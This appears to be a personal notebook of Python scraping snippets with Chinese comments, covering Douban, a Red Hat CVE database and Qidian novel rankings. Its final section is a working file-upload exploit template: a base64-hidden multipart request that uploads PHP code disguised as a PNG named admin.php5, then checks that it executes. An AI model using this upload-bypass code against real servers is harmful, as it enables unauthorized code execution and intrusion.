1. for 循环控制URL变化
urls = [
f'https://movie.douban.com/top250?start={i}'
for i in range(0,101,25)
]
2. xpath爬取信息
res = requests.get(url=url,headers=headers)
e = etree.HTML(res.text)
name = e.xpath('//*[@id="content"]/div/div[1]/ol/li/div/div/div/a/span[1]/text()')
author = e.xpath('//*[@id="content"]/div/div[1]/ol/li/div/div[2]/div[2]/p[1]/text()[1]')
3. 提取json数据:
res = requests.get(url = url,headers=headers,verify=False)
json_data = res.json()
try:
for i in range(len(json_data['field_cve_releases_txt']['und'][0]['object'])):
score += [json_data['field_cve_cvss3_base_score']['und'][0]['value']]
print(score)
4. redhat爬虫:
import xlsxwriter
import pandas as pd
import requests
import re
import time
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # 消除警告
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36'
}
# 获取CVE号
cve_urls = []
cve_ids = []
# 以下为获取cve详细信息所需列表
severitys=[] # 存储漏洞严重级别
packages=[] # 存储漏洞组件名称
cveId=[] # 存储CVE编号
score=[] # 存储漏洞分数
description=[] # 存储漏洞描述
def get_cve_info(cve):
"""
2.访问https://access.redhat.com/security/cve/ + CVE信息
获取详细的CVE信息(漏洞描述,严重等级,分数,危害程度等等)
:return:
"""
global severitys, packages, cveId, score,description
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36'
}
url_1 = 'https://access.redhat.com/api/redhat_node/'
url = url_1 + cve + '.json'
print('#'*60)
print(url)
time.sleep(1)
res = requests.get(url = url,headers=headers,verify=False)
json_data = res.json()
# for i in range(len(json_data['title'])):
# 判断该漏洞是否属于Linux 8,若属于,则保存。根据其本身的长度来控制循环次数,因为有的CVE不止有一个包属于Linux 8
# 此处有个别CVE的JSON格式不规范,导致无法提取,所以加异常处理
try:
for i in range(len(json_data['field_cve_releases_txt']['und'][0]['object'])):
if (bool([json_data['title']] and [json_data['field_cve_cvss3_base_score']['und'][0]['value']] and [json_data['field_cve_threat_severity_text']['und'][0]['value']] and [json_data['field_cve_releases_txt']['und'][0]['object'][i]['package']] and [json_data['field_cve_details_text']['und'][0]['value']])):
if [json_data['field_cve_releases_txt']['und'][0]['object'][i]['product']] == ['Red Hat Enterprise Linux 8']:
cveId += [json_data['title']]
print(cveId)
score += [json_data['field_cve_cvss3_base_score']['und'][0]['value']]
print(score)
severitys += [json_data['field_cve_threat_severity_text']['und'][0]['value']]
print(severitys)
# print('packages:', json_data['field_cve_releases_txt']['und'][0]['object'][i]['package'])
packages += [json_data['field_cve_releases_txt']['und'][0]['object'][i]['package']]
print(packages)
description += [json_data['field_cve_details_text']['und'][0]['value']]
# print(description)
else:
# print("This CVE not Linux 8!")
continue
except:
print(f"This {cve} Error!")
with open('Error.txt', 'a') as f:
f.write(cve+'\n')
# 以下添加为占位作用,防止写入Excel时串行
cveId.append(cve)
score.append("Error")
severitys.append("Error")
packages.append("Error")
description.append("Error")
else:
print("Success!")
def get_cve_id(): # 从Red Hat CVE Database 中爬取具体的CVE号
"""
1. 从Red Hat CVE Database 中爬取具体的CVE号
(1)首先通过JSON数据获取CVE对应的链接
(2)再通过正则表达式提取出具体的CVE号
注意: 每次重新爬取时候只需要修改urls中p的范围即可!
:return:
"""
global cve_ids,cve_urls
urls = [
# 需要修改两个变量,p(page)=1.start=0:每一页10个数据
f"https://access.redhat.com/hydra/rest/search/kcs?facet=true&facet.field=cve_threatSeverity&facet.mincount=1&facet.range=%7B!ex%3Date%7Dcve_publicDate&facet.range.end=NOW&facet.range.gap=%2B1YEAR&facet.range.start=NOW%2FYEAR-15YEARS&fl=id,cve_threatSeverity,cve_publicDate,view_uri,allTitle,cve_details&fq=documentKind:(%22Cve%22)&hl=true&hl.fl=abstract&hl.simple.post=%253C%252Fmark%253E&hl.simple.pre=%253Cmark%253E&p={p}&q=*:*&rows=10&sort=cve_publicDate+desc&start={(p-1)*10}"
for p in range(1,6) # p代表页数,爬取时修改对应的范围即可
]
for url in urls:
print(url)
res = requests.get(url=url, headers=headers,verify=False)
json_data = res.json()
cve_urls = json_data['highlighting']
# print(cve_urls)
for i in cve_urls:
cve_ids = re.findall(".*cve/(.*).*", i) # 从获取的url中提取CVE号
# print(cve_ids)
for j in cve_ids:
print(j)
get_cve_info(j)
def write_xlsx(): # 将CVE信息写入Excle表格中
workbook = xlsxwriter.Workbook('redhat_{}.xlsx'.format('8.17'))
worksheet = workbook.add_worksheet('sheet1')
headings = ['CVE','描述','CVSS分数','严重等级','组件']
worksheet.write_row('A1', headings)
worksheet.write_column('A2', cveId)
worksheet.write_column('B2', description)
worksheet.write_column('C2', score)
worksheet.write_column('D2', severitys)
worksheet.write_column('E2', packages)
workbook.close()
del_same()
def del_same(): # 去除最终数据中的重复项
# 读取Excel中Sheet1中的数据,注意修改文件路径
data = pd.DataFrame(pd.read_excel('/home/nx/PycharmProjects/untitled/redhat_8.17.xlsx', 'sheet1', engine="openpyxl"))
print('*' * 40)
# 查看是否有重复的行
re_row = data.duplicated()
print('*' * 40)
# 删除重复的行
no_re_row = data.drop_duplicates()
print(no_re_row)
# 将去重后的数据输出到新的Excel表中
no_re_row.to_excel('redhat_8.17_del.xlsx')
if __name__ == '__main__':
get_cve_id()
write_xlsx()
5. xpath模板
from lxml import etree
import requests
import xlsxwriter
names = []
authors = []
def paqu(): #从网页中爬取信息
global names, authors
url = "https://www.qidian.com/rank/recom?page=2"
headers={
'User-Agent':'self-defind-user-agent',
'Cookie':'name=self-define-cookies-in header'
}
response = requests.get(url,headers = headers)
e = etree.HTML(response.text)
names = e.xpath('//h4/a/text()')
authors = e.xpath('//p/a[@class="name"]/text()')
#print(names)
#print(authors)
for num in range(len(names)):
print(names[num],":",authors[num])
return names
def write_xlsx(): # 将爬取的小说信息存到excel表格中
workbook = xlsxwriter.Workbook('shuju.xlsx')
worksheet = workbook.add_worksheet('sheet1')
headings = ['小说名', ' 作者']
worksheet.write_row('A1', headings)
#print(names)
#print(authors)
worksheet.write_column('A2', names )
worksheet.write_column('B2', authors)
workbook.close()
paqu()
#write_xlsx()
6. POST包传递模板:
import base64
import requests
headers = {
'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0',
'Content-Type': 'multipart/form-data; boundary=---------------------------225704804512407048061351782404'
}
def upload_exp():
proxies = {'http': 'http://localhost:8080', 'https': 'http://localhost:8080'}
url_upload = "http://xx.xx.xx.xx:41672/upload.php"
data = base64.b64decode("T3JpZ2luOiBodHRwOi8vMjE5LjE1My40OS4yMjg6NDE2NzIKQ29ubmVjdGlvbjogY2xvc2UKUmVmZXJlcjogaHR0cDovLzIxOS4xNTMuNDkuMjI4OjQxNjcyLwpVcGdyYWRlLUluc2VjdXJlLVJlcXVlc3RzOiAxCgotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTIyNTcwNDgwNDUxMjQwNzA0ODA2MTM1MTc4MjQwNApDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9InVwZmlsZSI7IGZpbGVuYW1lPSJhZG1pbi5waHA1IgpDb250ZW50LVR5cGU6IGltYWdlL3BuZwoKPD9waHAgcGhwaW5mbygpOz8+Ci0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tMjI1NzA0ODA0NTEyNDA3MDQ4MDYxMzUxNzgyNDA0CkNvbnRlbnQtRGlzcG9zaXRpb246IGZvcm0tZGF0YTsgbmFtZT0ic3VibWl0IgoKw4PCpMOCwrjDgsKKw4PCpMOCwrzDgsKgw4PCpsOCwpbDgsKHw4PCpMOCwrvDgsK2Ci0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tMjI1NzA0ODA0NTEyNDA3MDQ4MDYxMzUxNzgyNDA0LS0K")
try:
res_1 = requests.post(url=url_upload,headers=headers,data=data,verify=False,timeout=10,proxies=proxies)
url_check = "http://xx.xx.xx.xx/uploads/admin.php5"
res_2 = requests.get(url=url_check,headers=headers)
if "phpinfo" in res_2.text :
print("一句话上传成功!")
else :
print("上传失败!")
except:
print("upload error!")
if __name__ == '__main__':
upload_exp()